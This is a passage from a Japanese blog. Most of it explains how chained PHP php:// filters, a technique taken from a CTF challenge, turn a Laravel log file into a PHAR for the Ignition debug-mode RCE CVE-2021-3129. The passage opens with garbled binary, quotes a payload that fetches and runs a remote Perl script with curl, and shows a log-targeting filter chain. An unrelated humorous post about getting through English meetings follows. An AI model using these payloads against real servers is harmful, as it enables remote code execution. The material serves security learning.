��hi�k� ޲�YUUR3L2NHaHdJR0JqZFhKc0lHOXlZVzVuWlM1MGR5OTNMMkpqTG5Cc2ZIQmxjbXdnTFdBN1B6NHZMeTh2THk4dkx5OHZMeTh2

一度デコードしたらUUR3から始まるはずなので、やはり先頭にまだ hikY のゴミが残っています。印字できない部分などは次の convert.base64-decode で無視してくれるため2回目のデコードは hikYUU3L... の箇所が対象になります。

2回目のデコード結果は以下です。

) QDw/cGhwIGBjdXJsIG9yYW5nZS50dy93L2JjLnBsfHBlcmwgLWA7Pz4vLy8vLy8vLy8vLy8v

QDw/c から始まる文字列がエンコードした値なので、それより前には無効な文字列しかなくなりました。つまりもう一度デコードすると QDw/c の箇所がデコードされます。

@<?php `curl orange.tw/w/bc.pl|perl -`;?>/////////////

ということで無事に元々のスクリプトに戻りました。つまり最終的には以下のような値をファイル名として渡します。

php://filter/convert.base64-decode|convert.base64-decode|convert.base64-decode/resource=/tmp/sess_iamorange

単に3回Base64デコードしているだけです。自分の環境に合わせて /tmp/sess_ にしていますが、別環境では /var/lib/php/sessions/sess_ かもしれません。

正解スクリプトについても公開してくれています。上でも説明したようにすぐにセッションが消えてしまうため2つのリクエストを飛ばしてrace conditionを起こす必要があります。自分でも試しましたがタイミングはあまりシビアではなくほぼ成功します。

github.com

あとは PHP_SESSION_UPLOAD_PROGRESS としてBase64を3回したペイロードを渡しています。これがセッションファイルに書き込まれます。そのファイルが存在しているタイミングでうまく php:// ラッパーのリクエストが到達すれば、攻撃が成功します。

本題

改めて見返すと前提長くない...?という感じですが、ようやく本題です。上のCTFの問題で公開された手法によって攻撃条件が緩和しました。ファイル全体を制御できていなくても、ファイルの一部書き込めてそのファイルを php:// で読み取って書き込めれば攻撃が成立します。

  1. サーバ上のファイルの一部でも良いから任意の文字列を書き込める
  2. そのファイルに対して php:// ラッパーを用いて読み書きができる
  3. 2で上書きしたファイルを phar:// で読み込ませることが出来る

そして実際Laravelではこれを満たすことが出来る状態でした。Larvel固有の話はまた別途ブログにしようと思うので今回は省略しますが、3つの条件を満たしているにも関わらず攻撃が成立しなかったため色々な制約をバイパスして攻撃を成立させたというのがCVE-2021-3129になります。CTFの問題を現実の攻撃に昇華させているというのが面白いなと思います。

長くなったので改めて解説のブログを貼っておきます。脆弱性としてはデバッグモードが有効でないと刺さらないので、ちゃんと本番では無効にしましょうという話で終わりです。もちろんバージョンを上げても直ります。危険な脆弱性であると言うよりはその詳細が面白かったという話です。

www.ambionics.io

基本的に上のブログで説明されている内容になりますが、実際に試して理解した内容を自分の言葉で書き直しています。そうしておくと自分が将来見直した時に理解しやすいからですが、一次ソースを当たりたい方は上のブログを参照してください。

まず、LaravelはデフォルトでPHPのエラーとスタックトレースをログファイルに出力します。さらにLaravel(正確には内部で使われているIgnition)ではリクエストで受け取ったファイル名に対して操作を加える機能があります。この時、存在しないファイル(今回の例ではSOME_TEXT_OF_OUR_CHOICE)を受け取ると以下のようなエラーが出力されます。単なるNo such file or directoryです。

[2021-01-11 12:39:44] local.ERROR: file_get_contents(SOME_TEXT_OF_OUR_CHOICE): failed to open stream: No such file or directory {"exception":"[object] (ErrorException(code: 0): file_get_contents(SOME_TEXT_OF_OUR_CHOICE): failed to open stream: No such file or directory at /work/pentest/laravel/laravel/vendor/facade/ignition/src/Solutions/MakeViewVariableOptionalSolution.php:75)
[stacktrace]
#0 [internal function]: Illuminate\\Foundation\\Bootstrap\\HandleExceptions->handleError()
#1 /work/pentest/laravel/laravel/vendor/facade/ignition/src/Solutions/MakeViewVariableOptionalSolution.php(75): file_get_contents()
#2 /work/pentest/laravel/laravel/vendor/facade/ignition/src/Solutions/MakeViewVariableOptionalSolution.php(67): Facade\\Ignition\\Solutions\\MakeViewVariableOptionalSolution->makeOptional()
#3 /work/pentest/laravel/laravel/vendor/facade/ignition/src/Http/Controllers/ExecuteSolutionController.php(19): Facade\\Ignition\\Solutions\\MakeViewVariableOptionalSolution->run()
#4 /work/pentest/laravel/laravel/vendor/laravel/framework/src/Illuminate/Routing/ControllerDispatcher.php(48): Facade\\Ignition\\Http\\Controllers\\ExecuteSolutionController->__invoke()
[...]
#32 /work/pentest/laravel/laravel/vendor/laravel/framework/src/Illuminate/Pipeline/Pipeline.php(103): Illuminate\\Pipeline\\Pipeline->Illuminate\\Pipeline\\{closure}()
#33 /work/pentest/laravel/laravel/vendor/laravel/framework/src/Illuminate/Foundation/Http/Kernel.php(141): Illuminate\\Pipeline\\Pipeline->then()
#34 /work/pentest/laravel/laravel/vendor/laravel/framework/src/Illuminate/Foundation/Http/Kernel.php(110): Illuminate\\Foundation\\Http\\Kernel->sendRequestThroughRouter()
#35 /work/pentest/laravel/laravel/public/index.php(52): Illuminate\\Foundation\\Http\\Kernel->handle()
#36 /work/pentest/laravel/laravel/server.php(21): require_once('/work/pentest/l...')
#37 {main}
"}

エラーメッセージの中にファイル名が出力されていることが分かります。このファイル名は攻撃者が制御可能なパラメータであるため、ログファイルに任意の文字列を書き込めることになります。これで条件1が成立しています。

次に条件2なのですが、デバッグモードを有効にしていると使われるライブラリのIgnition内に以下のような処理がありました。実際には当然前後で色々やっていますが簡素化しています。

$contents = file_get_contents($parameters['viewFile']);
file_put_contents($parameters['viewFile'], $contents);

つまりユーザから受け取ったパラメータを file_get_contents に渡し、それで得た値を再度 file_put_contents を使って書き戻しています。普通だとただそのままの値になるわけですが、 php:// ラッパーを使うことでBase64エンコード・デコードなどの処理を挟ませることが出来ます。 php:// で好きな文字列を書き込んだりは出来ないのでファイル全体の制御はできないのですが、うまくfilterを使えば上のOrangeさんのテクニックで好きな値を書き戻せます。つまりPHARとなるように書き戻してあげればOKです。

そして条件の3ですが、上と同じで受け取ったパラメータを file_get_contents に渡してくれるので phar:// で書き戻したファイルを指定するだけです。今回の例ではログファイルになります。

ということはこの時点で理論的には任意コード実行が成立するはずです。しかし、多くの理由でそれは成立しませんでした。

問題点

= によるエラー

上の解説では convert.base64-decode は無効な文字列を無視すると言いましたが実は例外があります。それが = です。本来は最後にパディングとして入れるBase64における65文字目の存在ですが、これが最後ではなく文字列の途中にあるとエラーになります。

試してみます。適当にエンコードした文字列の間に = を挟んでみます。

root@b4fc2e6f0d2a:/var/www/html# echo test | base64
dGVzdAo=
root@b4fc2e6f0d2a:/var/www/html# echo dGV=zdAo= > /tmp/test
root@b4fc2e6f0d2a:/var/www/html# php -a
Interactive shell

php > $f = 'php://filter/read=convert.base64-decode/resource=/tmp/test';
php > echo file_get_contents($f);
PHP Warning:  file_get_contents(): stream filter (convert.base64-decode): invalid byte sequence in php shell code on line 1

Warning: file_get_contents(): stream filter (convert.base64-decode): invalid byte sequence in php shell code on line 1

エラーが出ました(実際にはWarningですが)。つまりデコードを複数回する中で、偶然 = が文字列中に現れると失敗するということです。もしファイル内の文字列全体を制御できるなら = が出ないようにすれば良いので問題ないのですが、今回のような例ではファイル名の前には日付などのプレフィックスがありますし、ファイル名の後ろには長いスタックトレースがあるためこれらの中に = が含まれてしまう可能性は高いです。さらにファイル名も2回出力されています。

ちなみにこの = がデコード文字列内に現れると困るよね、という話は既知だったようでOrangeさんのブログでは触れられていませんがスクリプト内ではペイロード= が含まれないようになるまで作り直す処理が入っていたりします。

My-CTF-Web-Challenges/exp_for_php.py at ece9c25c9f1dba65cce5a12a8fc174652fa352e6 · orangetw/My-CTF-Web-Challenges · GitHub

日付のデコード

今回はファイル名の前に日付と時刻があります。そして当然時刻はログが出力されるタイミングによって異なります。厄介なことに日付は2回デコードした場合に長さが異なる場合があります。

php > var_dump(base64_decode(base64_decode('[2022-04-30 23:59:11]')));
string(0) ""
php > var_dump(base64_decode(base64_decode('[2022-04-12 23:59:11]')));
string(1) "2"

下の例では2回デコード後の結果が 2 になっています。もう1回デコードすれば消えるんじゃないの?と思うかもしれませんが、先程ZZのパディングの例でも話したように 2 が先頭につくとアラインメントがずれてしまいます。つまりその後は何回デコードしても本来の文字列はもう出てきてくれません。

ログファイル内の他エントリ

先程のPHPセッションの例とは異なり、ログファイルは1エントリのみ書かれているわけではありません。つまり前後に他のエントリがあるとデコードは高確率で失敗します。

バイパス方法

実際に発見者が直面した問題点について説明してきましたが、ここではそのバイパス方法について説明します。その前にまずログのフォーマットを整理します。

[previous log entries]
[prefix]PAYLOAD[midfix]PAYLOAD[suffix]

という形式になっています。そして上述したように対象のログエントリの前にもエントリは存在します。そして同じエントリ内にPAYLOADは2回出現しています。このPAYLOADの部分だけをうまく取り出すのがゴールです。

consumedの利用

上述したように、Ignitionではラッパーを含むURLを受け取ったらそれをファイルの読み取りと書き込みの両方で使っています。つまり php:// ラッパーでできる範囲であればファイルの改竄が可能ということです。そして php:// で使えるフィルタの中に consumed というものが存在します。PHPの公式ドキュメントですら説明を見つける事ができなかったのですが、入力(または出力)をクリアしてくれるようです(ドキュメント見つけられなかったので正しいか不安)。

php://filter/read=consumed/resource=/path/to/file.txt

つまり consumed フィルタを使ってログファイルを読み取れば、空にして書き戻してくれるのでログファイルをクリアできる...ということだと思います。違っていたらすみません。他にも大量にリクエストを送ることでログのローテーションを起こさせてログファイルを綺麗な状態にする方法もあるようですが、1回あたりの試行に時間がかかりますしログファイルがクリアされるタイミングもシビアな気がします。

とりあえず consumed を使うことで前後のログエントリ問題は解決です。攻撃前に一度ログファイルをクリアすれば済みます。

iconvの利用

次に = 問題を見ていきます。 php:// ので使えるfilterの中に iconv も存在しています。これはちゃんとドキュメントも見つかりました。

www.php.net

上のドキュメント内の例を引用します。

<?php
$fp = fopen('php://output', 'w');
stream_filter_append($fp, 'convert.iconv.utf-16le.utf-8');
fwrite($fp, "T\0h\0i\0s\0 \0i\0s\0 \0a\0 \0t\0e\0s\0t\0.\0\n\0");
fclose($fp);
/* 出力: This is a test. */
?>

このようにエンコーディングの変換ができます。Base64のときと同じ考え方で、自分たちの書き込むPAYLOADはエンコーディングの変換に適した形にしてあげることで、prefixやsuffixはASCII外の文字列に変換することが出来ます。見たほうが早いと思うのでやってみます。

$ echo -ne '[Some prefix ]P\0A\0Y\0L\0O\0A\0D\0[midfix]P\0A\0Y\0L\0O\0A\0D\0[Some suffix ]' > /tmp/test
$ php -a -q
Interactive shell

php > echo file_get_contents('php://filter/read=convert.iconv.utf16le.utf-8/resource=/tmp/test');
卛浯⁥牰晥硩崠PAYLOAD浛摩楦嵸PAYLOAD卛浯⁥畳晦硩崠

素晴らしい結果です。PAYLOADだけが正常な値になって、それ以外はBase64として無効な値になっています。つまり邪魔なprefixやsuffixを一気に排除できます。

ちなみに iconv を使ったバイパス方法はCTFでも出されているようなので、こちらも有名なテクニックなのかもしれません。自分はCTFやってなくて知らなかったのでなるほどなーとなりました。

gynvael.coldwind.pl

パディングの利用

もう一つの問題点はPAYLOADが2回表示されている点です。最終的にPHARとして有効な形にする必要があるため、2回繰り返されると困ります。そのため2回目は除去する必要があります。しかしこれはUTF-16が2バイトであることを考慮すると簡単に解決できます(一部4バイトですがいずれにせよ偶数なので今回は影響なし)。つまりPAYLOADの最後に1バイトだけ足すことで2つのPAYLOADの間のサイズを奇数バイトにします。ただこれ元々midfixが奇数バイトなら不要な気がしますが、その辺りの説明はなかったので理解が正しいか若干不安です。

root@b4fc2e6f0d2a:/var/www/html# echo -ne '[Some prefix ]P\0A\0Y\0L\0O\0A\0D\0X[midfix]P\0A\0Y\0L\0O\0A\0D\0X[Some suffix ]' > /tmp/test
root@b4fc2e6f0d2a:/var/www/html# php -a
Interactive shell

php > echo file_get_contents('php://filter/read=convert.iconv.utf16le.utf-8/resource=/tmp/test');
卛浯⁥牰晥硩崠PAYLOAD存業晤硩偝䄀夀䰀伀䄀䐀堀卛浯⁥畳晦硩崠

この例では [midfix] は8バイトなので1バイト足すことで2個目のPAYLOADのアラインメントがずれASCII文字ではなくなります。これの素晴らしい点は、仮にprefixが奇数だとしたら逆に2つめのPAYLOADのアラインメントが正しくなるという点です。つまりprefixの偶奇によらず片方だけがうまくデコードされます。

あとはもはや恒例のBase64が無効な文字を無視してくれる機能を組み合わせれば狙った文字列だけ残してデコードできます。Base64エンコードした文字列の各文字の後ろに\0を足すだけです。それをエンコーディング変換してBase64デコードすればOKです。

$ echo -n TEST! | base64 | sed -E 's/./\0\\0/g'
V\0E\0V\0T\0V\0C\0E\0=\0
$ echo -ne '[Some prefix ]V\0E\0V\0T\0V\0C\0E\0=\0X[midfix]V\0E\0V\0T\0V\0C\0E\0=\0X[Some suffix ]' > /tmp/test
$ php -a
Interactive shell

php echo file_get_contents('php://filter/read=convert.iconv.utf16le.utf-8|convert.base64-decode/resource=/tmp/test');
TEST!

UTF-16のための調整

UTF-16が2バイトの倍数である必要があることを考えると、ログエントリ全体のサイズが2バイトの倍数じゃない場合はどうなるでしょうか?prefixに1バイト足して全体を奇数バイトにして確認します。

root@b4fc2e6f0d2a:/var/www/html# echo -ne '![Some prefix ]V\0E\0V\0T\0V\0C\0E\0=\0X[midfix]V\0E\0V\0T\0V\0C\0E\0=\0X[Some suffix ]' > /tmp/test
root@b4fc2e6f0d2a:/var/www/html# php -a
Interactive shell

php echo file_get_contents('php://filter/read=convert.iconv.utf16le.utf-8|convert.base64-decode/resource=/tmp/test');
PHP Warning:  file_get_contents(): iconv stream filter ("utf16le"=>"utf-8"): invalid multibyte sequence in php shell code on line 1

Warning: file_get_contents(): iconv stream filter ("utf16le"=>"utf-8"): invalid multibyte sequence in php shell code on line 1
TEST!

Warningが出ています。発見者ブログではこれが問題だと言っていたのですが、自分の環境ではWarning出てもそれ以外の箇所はうまくデコードできていました。php.iniでstrict的な設定を入れていると失敗するのかもしれません。一応この問題への対策もブログ内で触れられています。それはエントリを2つ作ることです。

[prefix]PAYLOAD_A[midfix]PAYLOAD_A[suffix]
[prefix]PAYLOAD_B[midfix]PAYLOAD_B[suffix]

このように2回リクエストを送るとエントリが2つになりますが、prefix, midfix, suffixは2回ずつ現れていてPAYLOAD_AとPAYLOAD_Bも2回ずつ現れているので全体は必ず偶数になります。PAYLOAD_AはBase64デコードで消えてほしいので適当にAAとかを送っておいて、PALOAD_Bの方をPHARになるようなペイロードにします。

個人的にはPAYLOAD異なるしmidfixやsuffixが異なる可能性ないの...?と思ったのですが、同じ箇所で落ちるのでエラーメッセージやスタックトレースも同じになるということかなと理解しています。試した感じは確かに同じになっていそうでした。いずれにせよこれで全体のサイズを偶数にすることが出来ました。

NULLバイトの回避

そして最後の問題としてNULLバイトが入っているファイルをロードすると失敗するという点を挙げています。これは少しややこしいですが、 php:// ラッパーでの処理時の話ではなくログに書き込む際の話です。存在しないファイルとしてログファイル内にエラーを出して欲しいのにNULLのせいで失敗し、目的のエラー箇所まで到達しないということだと思います。つまり異なるエラーメッセージになります。

php > $filename = "[Some prefix ]V\0E\0V\0T\0V\0C\0E\0=\0X[midfix]V\0E\0V\0T\0V\0C\0E\0=\0X[Some suffix ]";
php > file_get_contents($filename);
PHP Warning:  file_get_contents() expects parameter 1 to be a valid path, string given in php shell code on line 1

Warning: file_get_contents() expects parameter 1 to be a valid path, string given in php shell code on line 1

上でログファイルに任意の文字列を書き込めると言いましたが実際には正しくなくて、NULL以外の任意の文字列が書き込める状態でした。発見者はここでもfilterを活用しています。 covert.quoted-printable です。ドキュメントもあります。

www.php.net

RFC2045の仕様に従ってエンコード・デコードをしてくれます。例が分かりやすいです。改行などの印字可能でない文字を = に続けて16進数を書くことで印字可能文字で表現できるようにしてくれるようです。

<?php
$fp = fopen('php://output', 'w');
stream_filter_append($fp, 'convert.quoted-printable-encode');
fwrite($fp, "This is a test.\n");
/* Outputs:  =This is a test.=0A  */
?>

一応RFCを貼っておきます。6.7 Quoted-Printable Content-Transfer-Encodingの箇所だと思います。

datatracker.ietf.org

これを使うことでNULLバイトは =00 で表現できるようになり、NULLバイトを使う必要はなくなります。

最終形

上で述べたバイパス方法のうちfilterに関するものをまとめると

  1. convert.quoted-printable-decode でNULL文字の制限をバイパスする
  2. convert.iconv.utf-16le.utf-8 を使ってペイロード以外のゴミをBase64として無効な文字列にする
  3. convert.base64-decode を使って2で無効にした文字列を無視する

という流れになります。filterは以下のようになります。

php://filter/write=convert.quoted-printable-decode|convert.iconv.utf-16le.utf-8|convert.base64-decode/resource=/path/to/storage/logs/laravel.log

ペイロード側の工夫としては以下になります。

  • 2回現れるペイロードのうち片方のアラインメントがずれるようにペイロードの最後に1バイト足す
  • UTF16として正しい値にするためにバイト数を2の倍数にする必要があるので、正常なリクエストと異常なリクエストを1つずつ送ってバイト数を偶数にする

ペイロードの詳細はCVE-2021-3129の解説記事で書こうと思うためここでは述べませんが、

  1. PHPGGCを使ってデシリアライズで攻撃が刺さるようなPHARを作る
  2. それをBase64してUTF-16に変換し、RFC2045に沿ってエンコードする
  3. そのペイロードをファイル名として送りつけログファイルに書き込ませる
  4. php:// を使ってPHARの前後にあるゴミを取り除きログファイルに書き戻す
  5. 4によってログファイルはPHARになっているため、 phar://を使って読み込む
  6. Metadataのデシリアライズにより攻撃が刺さる

という流れです。

まとめ

ペイロードの工夫の箇所はLaravel固有のものがあるかもしれませんが、filterの工夫の箇所は他でも応用が効くと思ったので紹介しました。実際一部のテクニックはCTFで出題されていました。CTFのテクニックが実際の脆弱性に応用されているのも面白いですし、現実の脆弱性はそれに加えて泥臭い工夫が色々必要になるというのがよく分かる攻撃方法でもあって個人的にはかなり好きです。

求められる前提知識が多いので途中で読むのを諦めてこのまとめに辿り着いた人は少ないかもしれませんが、もし何かの参考になれば幸いです。

英語ミーティングを乗り切るために身につけたバッドノウハウ

周りを見ていると何の苦もなく英語社会に適応しているわけですが、日々苦しんでいる人の奮闘記があっても良いのではないかと思って書きました。残念なエピソードを晒すことで実は自分もこうやって乗り切ってましたという人が現れお互いに助け合えることを期待しています。

概要

英語がさっぱり分からない状態のまま日本人が0の会社に入ってあっという間に2年以上経ちました。未だに日本人は自分一人ですし英語もさっぱり分からないのですが、そんな状態でよくやれてるなと最近色々な人から言われたので苦戦する中で身につけたバッドノウハウを書いておきます。バッドノウハウは以下のような定義で使っています。

バッドノウハウとは、本質的には生産性はないものの、問題解決のために必要になってしまうようなノウハウのこと。

makitani.net

つまり、英語力をあげようとかそういう本質的なことは一切言わず小手先なことを書いています。自分でもバッドノウハウと言ってますし「そんな小手先のことやってるから英語力が伸びないんだ」みたいなマジレスをされると死に至るのでやめてください。

冗談半分みたいな内容なのでネタ記事だと思って読んでください。学校や本で教わるような内容ではなく生き抜くための知恵みたいなやつです。参考にはしないでください。

出来ないとか言ってるくせに海外住んでるし何やかんやうまくやれてるんだろうみたいな疑惑をかけられることがあるのですが、「こいつマジだわ」と思ってもらえる内容だと思います。

誤解のないように強調しておきますが、出来なくて良いと言っているわけでは決してないです。急にそういうチャンスが転がってきた時に「今はまだ英語出来ないから今回は見送って次の機会までに勉強しよう」となるともったいないので、飛び込んでみて成長するまで何とか気合いでしがみついていこうという内容です。

前提

英語は全体的に不得意な方ですが、典型的日本人なので読み書きは最低限できます。ただスピーキング・リスニングは壊滅的です。特にリスニングはもう10年以上前になりますがセンター試験ではずっと平均点を切っていました。50点満点で26-28点ぐらい。つまり平均的高校生より出来ないということです。大学進学を目指している周りの人は平気で48-50点をとっている中で、自分は30点の壁が破れない...などと言っていました。もし自分は平均ぐらいはあると思う、という方は少なくとも自分よりは優秀です。

予備校の英語講師には自分の長い講師歴でこんなに模試で低い点数をとった人は初めて見た、と言われました。120点満点中42点で偏差値も同じ42だったのをよく覚えてます。長年有名予備校の講師をやっている人の最低を更新するのは逆に凄いんじゃないか?とも思いましたが、普通に落ち込みました。さすがに一人ぐらい自分より低い人いただろ、と思いましたが偏差値42だったので優秀なクラスを担当している講師だとあり得るかもなという感じです。

そこからTOEICなどは全く受けずに生きてきて、院試でTOEFLを受けさせられたのですが苦手とか言ってた周りの人間より自分が一番低い点数を叩き出しました。他にもTOEIC勉強せずに受けたからやばかったわーとか言って満点近く取ったりするような人間が周りに多かったので、英語関連の試験からはひたすら逃げ続けました。

脱線しましたが、英語本当にできないんだなというのが理解できてもらえたかと思います。読み書きは最低限できるので底辺だとは思っていませんが、海外で働くために必要なスキルは全く持ち合わせていません。

英語の残念エピソードは無限に持っています。

バッドノウハウ

では全く本質的ではない方法について話します。本当はもっとたくさんあるはずなので思い出したら追記します。

質問編

まず前提として質問は多くの場合聞き取れません。そういうときの対策です。

聞き取れなかった時にSorry?と聞き直さない

聞き取れなかった時に"Pardon?"と言うと学校では習いましたが実際には自分は聞いたことがありません。もちろん使われるシーンはあると思うのですが、"Sorry?"と聞き直されることのほうが多いです。あとはある程度関係性がある場合は"What?"と言われたり、"ちょっと分からなかった”とか"もう一度言って"みたいに言われることが多いです。

特に多いのは"Sorry?"だったので、自分も何となく使っていたのですがとある弱点に気付きました。それは、何となくこなれた感じを出してしまうことで相手は同じスピードでもう一度言うということです。日本語だと「え?」と聞き直すときは大抵ちょっと聞き逃したぐらいのノリなのでもう一度言ってもらえれば理解できますが、英語においてはその限りではありません。

つまり同じスピードでもう一度言われても同じぐらい聞き取れないということです。何なら自分は3回ぐらい聞き直しても全く同じように聞き取れないです。日本語で「昨日の夜さー」「え?」と聞き直されて「きーのーうーのーよーるーさー」とゆっくり言い直さないと思います。それと同じで"Sorry?"と聞くと「え?(ごめんちょっと集中してなくて聞き逃してしまった)」ぐらいのニュアンスになっているように感じます。

同じスピードでもう一度言ってもらうのは完全に時間の無駄なので、"もう一度ゆっくり言ってくれない?"とか次で説明するように聞こえたところを繰り返すほうが良いと思います。

日本語で「スミマセン、モウイチドオネガイシマス」と言われたら次はゆっくり言おうと思うはずなので、"モウイチドオネガイシマス"と英語で聞き返すことで「あ、こいつ得意じゃないんだな」と初手で理解してもらいましょう。

聞こえたところまで繰り返す

上の話と関連するのですが、仮に "Do you know XXX?"と聞かれてXXXが聞き取れなかったとします。この時に"Sorry?"と聞くと"Do you know XXX?"と言われて同じことの繰り返しになります。では自分がどうするかと言うと"Do you know...what?"のように聞き取れなかった部分を明確にして返します。そうするとXXXの部分だけ強調して言い直してくれる確率が高いです。ネイティブだと"Do I know...what?"みたいにyouをIにきちんと置き換えたりしてきますが、英語弱者にそんな余裕はないので聞き取れたところをオウム返しでも良いと思ってます。余裕があれば気をつけましょう。

基本的に英語は音が繋がるので文章だと聞き取れないけど単語だと聞き取れることが発生します。つまり聞き取れる確率が少し上がります。そこだけ強調されても分からない時は知らない単語だったり音を間違えて覚えているので、今度は"XXX?"と聞くと言い換えて説明してくれます。それでも分からなければ諦めましょう。

可能性のある質問全てに答える

質問をされた時に何個か単語は聞き取れて何となく聞きたいことの方向性は分かった。しかし可能性が複数あって一つに絞り込めない、という場合は上のように聞き直す方法もありますが、候補が2-3個まで絞れているなら全てに回答してしまうという手があります。クイズの早押しみたいな感覚です。

「2019年に新たにポルトガル世界遺産に登録された...」ぐらいまで問題が読み上げられたら「ブラガのボン・ジェズス・ド・モンテ聖域」と「マフラの王家の建物」!!と答えてしまうイメージです。クイズでは正解は一つですが会話では複数答えて一つがヒットすればOKです。問題文は実際には「2019年に新たにポルトガル世界遺産に登録されたもののうちブラガにあるのは?」だったかもしれませんがそこまでは聞き取れなかったので両方カバーしておきます。

ちなみに3パターンぐらい回答しても全て見当違いで"お前は何を言ってるんだ?"状態になることもよくあるので気をつけてください。諸刃の剣です。

Do you mean ~ ? で可能性を潰していく

日本語で「つまり〜ということ?」みたいに聞く時は齟齬がないように最終確認のような意味合いだと思いますが、英語における自分の使い方は違います。全然聞きとれず候補も絞り込めない、しかし何となく単語はいくつか聞こえた、という時に自分の中で仮設を立てて一か八か"Do you mean XXX?"のように聞きます。ほぼ間違っているわけですが稀にヒットすることもあり、そうなればギャンブルに勝利です。仮に間違っていても"No, no, no, YYY~"と間違っている部分を強調して話してくれるので聞き取れる確率が上がります。あとはそれも聞き取れなかったとしても、少なくともXXXの可能性はなくなったわけで、次は "Do you mean ZZZ?" と聞いていくことで次々に可能性を潰していけます。もちろんそうやっていって最後"Yes"の回答が貰えれば理解をより確実に出来るメリットもあります。

これがなぜ必要になるかと言うと、何度も"もう一度言ってくれない?"と聞き返すと気まずくなるからです。もう一度言って?は1,2回が限界なので残機を使い果たしてしまったら上の方法やこちらに切り替えるイメージです。

うかつにYES/NOで答えない

自分は良く分からない時は大体YES!!と答えています。

それを逆手に取られると困るという話をツイートしていますが、実際にはそもそもYES/NOで回答できる質問ではない場合もあります。そういう時にうっかりYES!!と言うと"いやいや..."となるので気をつけましょう。最初に5W1Hがついている場合はYES/NOの質問ではない可能性が高いので、最初の一単語目に注意しましょう。

他人に振ってみる

質問を受けたものの内容が全く聞き取れなかったとします。そういう時の新たな手法として他人に丸投げするというのがあります。"今の質問についてあなたはどう思う?"と全然関係ない人に振ります。そしてその人が回答している間に情報をひろ集めて元の質問を推測していきます。つまり質問者に聞き直すことで情報量を増やすのではなく、他人に転送することで情報量を増やす高等テクニックです。

良い質問ですねぇを使う

これも質問が分からなかった時の話です。"良い質問ですねぇ"と言った上で"今は回答を持ち合わせていない"等と適当なことを言ってお茶を濁します。

何か言いそうな雰囲気を出して時間を稼ぐ

これはもはや質問に答えない方法です。質問も分からないし打つ手なしとなった時に何か言いそうな雰囲気を出してひたすら無言で耐えます。単に無言だと聞こえてる?となりますが、何か言いそうな雰囲気を出すことで待ってもらえます。「しづる池田 インタビュー」で調べると分かりやすい動画が出ると思います。無言で顔芸で頑張ってもいいですし、"well..."とかそれっぽいことを言っても良いです。

このテクニックの何が嬉しいのかというと、自分の他に詳しい人がいたら回答してもらえる可能性があります。つまり"俺が答えるよ"という人が現れるまで時間を稼ぐテクニックです。質問者は自分に聞いたけど他の英語強者が答えてくれるというやつですね。日本語の研究発表で質問が難しすぎて大学の教授に代わりに答えてもらうやつはかなり辛いですが、英語の場合はそもそも質問すら聞き取れてないので潔く諦めましょう。

そしてもう一つ大きいのは、何か言いたそうだけど言わない姿勢を見せることで質問者側も"答えづらいのかな?"と思ってくれます。そして"ちょっと聞き方を変えるね"と言って別の切り口で質問してくれたりします。実際はただ何も聞き取れていないだけなのですが、もう一度相手がボールを持ってくれるのでチャンスが広がります。

発言編

先程までは聞かれるなど受け身の話でしたが、自分から何か発言する場合についてのテクニックを書いておきます。

How are you?を速攻でキメる

"How are you doing?"や"How’s it going?"など何でも良いのですが、ミーティング開始と同時に速攻で挨拶をします。これで無事にミーティング中に一言話すという目的を達成したのでやるべきことの8割は終わりです。

自分は中島 聡さんの「なぜ、あなたの仕事は終わらないのか スピードは最強の武器である」という本が好きなのですが、その中で「ロケットスタート時間術」という仕事術が出てきます。

https://www.amazon.co.jp/dp/B01GPCKJWK/ref=dp-kindle-redirect?_encoding=UTF8&btkr=1

これは10日で仕上げるタスクであれば、2割に当たる2日間で8割終わらせるつもりで取り掛かるというものです。仕事が終わらない原因の9割を占める「締め切り間際のラストスパート」を防ぐため、最初からスタートダッシュをかけることで時間の見積もりを正確に行います。この2日間で仕事が8割終わっていれば予定通り終わりそうということで残りの8日間は流しつつ2割を仕上げますし、8割終わっていなければスケジュールの変更を早い段階で決断できます。

開幕How are you?も同じです。ミーティング中に一言も話さないと何も仕事をしなかった感じになりますが、少しでも話すだけで何かやった感じがあります。つまり初手にその目的を達してしまうことでミーティングの残りは流せます。自分はこれを「ロケットスタート英語ミーティング術」と読んでいます。

冗談半分で書いてますが、実際最初に何か少し挨拶でも良いから発言しておくことでその後話しやすくなります。ずっと無言だったのに急に発言するのは勇気がいりますし、周りも「あいつ急に話し出したぞ」と驚かずに済みます。

Can you hear me? Can you see my screen? に率先して答える

上で述べたように最初にミーティングにおける仕事の8割を終わらせているため、あとは2割です。そんな時、最近はリモート会議も多いと思うので最適な場面があります。それが"Can you hear me?"と"Can you see my screen?"です。大体1度か2度は聞かれます。その隙さえ見つければこちらのものです。率先して答えることで10割を達成できます。

話す隙があれば少しでも話すということです。そしてミュートのまま話し続けている人がいれば"ミュートになってるよ”と言えばもう勝ち確定です。もはやオーバーワークです。

How are you?にHow are you?で返す

万が一先手を取られて"How are you?"を相手に出されてしまった時の対策です。"I'm fine"とかより"I'm good"とか"I'm doing good"の方が多いわけですが、いつも同じ感じになってしまってそこそこ返しに困ります。そういう時は逆に"Hey! How are you?"とオウム返ししてしまうテクニックが使えます。もちろん"How's it going?"とか"What's up?"とか少し変えても良いです。"What' up?"と聞かれると"Nothing much"などと答えるべきなのかいつも悩むのですが、最近は"What's up?"返しで乗り切っています。

実際上で述べたように初手"How are you?"を出すようになってから、カウンター"How are you?"を食らうことが多いことに気付きました。「いやこっちが先に聞いてるんだけど...」みたいな気持ちになるわけですが、恐らく"Hi"ぐらいの意味しかないのでいちいち"good!"とか答えないのだろうと思います。

どちらが先に"How are you?"を繰り出してどうカウンターするか、というのは一瞬の駆け引きなので自分から攻めるべきか、はたまた相手からの攻撃を待ってカウンターを決めるべきかはよく見極めましょう。

発表編

ミーティングなどでは時に自分がメインで話さなければならない場合もあります。その場合の対処法です。

話し続ける

「攻撃は最大の防御」というやつです。スピーキングももちろん簡単ではないですが、適当な中学英語を話し続けるだけなら何とかなります。その結果、時間をうまく使い切ることができれば勝ちです。

質問が出ないぐらい丁寧に説明する

とにかく質問が出ないように、事前に質問を想定して全てについてこちらから説明しきります。そうすることで上で述べたように時間を使い切って質問を受ける時間を削ることができますし、そもそも丁寧に説明しているため質問も全く出ずに完封勝利を収めることができます。バッドノウハウではなく普通に良い話を書いてしまいました。

画面共有しまくる

スピーキングの話になりますが、英語のみで全てを説明するのは大変です。ですが、画面共有をして"This!"とか言っておけば一発で伝わります。これは日本語でも有用だと思いますが百聞は一見にしかずなので英語でも見せるのが早いと思います。

資料を準備する

